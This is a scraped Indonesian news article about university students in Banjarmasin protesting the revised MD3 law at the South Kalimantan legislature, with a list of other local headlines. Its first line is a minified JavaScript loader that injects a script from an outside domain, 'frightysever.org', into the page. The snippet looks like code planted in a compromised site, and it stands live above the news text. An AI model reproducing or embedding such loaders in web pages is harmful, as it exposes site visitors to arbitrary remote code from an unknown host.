(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Tolak UU MD3, Mahasiswa ULM Sweeping Gedung DPRD Kalsel


BANJARMASIN, Puluhan mahasiswa yang tergabung dalam Aliansi Keluarga Mahasiswa Universitas Lambung Mangkurat (ULM) Banjarmasin menggelar demo di halaman Gedung DPRD Kalsel, Selasa (6/3/). Mereka menolak hasil revisi UU MD3 oleh DPR RI yang memberikan peluang kekebalan hukum bagi dewan dan bisa mengancam proses demokrasi.

Tapi sayangnya, aksi tersebut tanpa kehadiran seorang pun anggota DPRD Kalsel. Pendemo pun sempat menyisir ruangan di gedung DPRD Kalsel untuk mencari wakil rakyat yang tak ada di lokasi karena tugas ke luar daerah. Akhirnya, mahasiswa dari berbagai fakultas itu harus puas hanya ditemui oleh staf sekretariat dewan.

Dalam aksinya, mahasiswa menganggap apa yang dilakukan DPR telah mencederai prinsip negara hukum. Sebab melalui undang-undang tersebut, dewan menambah kekuasaannya sebagai badan legislatif dengan kekuasaan penegakan hukum.

“Kami menuntut DPRD Kalsel meninjau kembali pasal-pasal yang bertentangan dengan demokrasi dan pengusulan Revisi MD3 ke pusat,” tegas Korlip aksi Ahdiat Zairulah.

Mahasiswa meyebutkan pasal-pasal yang penuh kontroversi dalam rumusan UU MD3 diantaranya pasal 73, 122, dan 245. Pada pasal 73 misalnya, Ahdiat mengatakan, sangat berpeluang membawa kepolisian ke ranah politik dan juga merendahkan fungsinya sebagaimana penegakkan hukum.

“Demikian juga jika pasal 122 huruf K dijalankan maka dikhawatirkan akan ada pembungkaman terhadap upaya kritik kepada kebijakan dan kinerja Wakil Rakyat. Padahal setiap Wakil Rakyat di samping menjadi penyampai aspirasi konstituennya juga harus siap dikritik apabila kinerja maupun kebijakannya dinilai merugikan orang banyak,” ungkapnya.

Setelah sekitar 1 jam berorasi, meminta pihak Sekertariat DPRD Kalsel yang diwakili Kepala Bagian Tata Usaha Riduansyah untuk memfasilitasi bertemu ketua DPRD Kalsel pada, Senin (12/3) mendatang.

Sebelumnya, penolakan atas UU MD3 juga dilakukan organisasi kemasyarakatan dan kepemudaan (OKP) yang terhimpun dalam Konsensus Cipayung Plus Kalsel. Konsensus Cipayung Plus Kalsel yang beranggotakan Badko HMI Kalselteng, DPD GMNI Kalsel, PKC PMII Kalsel, PW KAMMI, dan IMM Kalsel, mengatakan ada sejumlah pasal dalam revisi UU MD3 tersebut yang menimbulkan keresahan masyarakat.

“Kami memberikan sikap menolak tegas UU MD3 pasal 73 terkait kewenangan DPR untuk melakukan panggilan secara paksa kepada pihak pejabat maupun pihak masyarakat dengan sinyalir abuse of power. Menurut mereka hal ini berpotensi mengikis peran DPR sebagai dewan perwakilan rakyat, dan menciderai netralitas lembaga kepolisian karena dilibatkan dalam suatu kepentingan politik,” kata Yogi Adhiatma, Ketum DPD IMM Kalsel , yang sekaligus menjadi koordinator Konsensus Cipayung Plus Kalsel.

Sementara Ketua Setara Institute Hendardi menilai, seharusnya pembahasan UU MD3 melibatkan masyarakat. Sebab, UU tersebut mengatur kedudukan lembaga-lembaga perwakilan dalam menjalankan fungsinya sebagai badan representasi warga negara Indonesia. Alih-alih mewujudkan cita-cita nasional dan melindungi warga negara, revisi UU MD3 dianggap hanya untuk melindungi kepentingan anggota Dewan dan sebagai tameng agar mereka tidak diusik. (ammar)

Reporter : Ammar
Editor : Chell

Desy Arfianty

Recent Posts

Inspeksi SLO, Srikandi PLN Hadirkan Keandalan dan Kualitas Instalasi

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

3 jam ago

Senja Jelang Magrib, Rumah di Banjar Permai III Terbakar

KANALKALIMANTAN.COM, BANJARMASIN - Warga kawasan Banjar Indah Permai geger dengan kemunculan kobaran api, Senin (27/5/2024)… Read More

4 jam ago

Lawatan ke PKB, Upaya Lisa Halaby Mencari Partai Pengusung

KANALKALIMANTAN.COM, BANJARBARU – Bakal calon Wali Kota Erna Lisa Halaby kembali melakukan lawatan politik menuju… Read More

6 jam ago

Menjaga Kamtibmas, Satgas TMMD ke-120 Berikan Penyuluhan

KANALKALIMANTAN.COM, AMUNTAI - Memberikan pemahaman kepada warga agar bersama-sama menjaga dan mewujudkan keamanan dan ketertiban… Read More

7 jam ago

RPJPD 2025-2045 Banjarbaru Menjadi Kota Metropolitan di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Langkah menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel)… Read More

7 jam ago

Gandeng BPS Kabupaten Banjar, DKISP Banjar Gelar Workshop Penyusunan Metadata Statistik Sektoral Lingkup Pemkab Banjar

KANALKALIMANTAN.COM, MARTAPURA - Dinas Komunikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar menggelar Workshop Penyusunan… Read More

7 jam ago

This website uses cookies.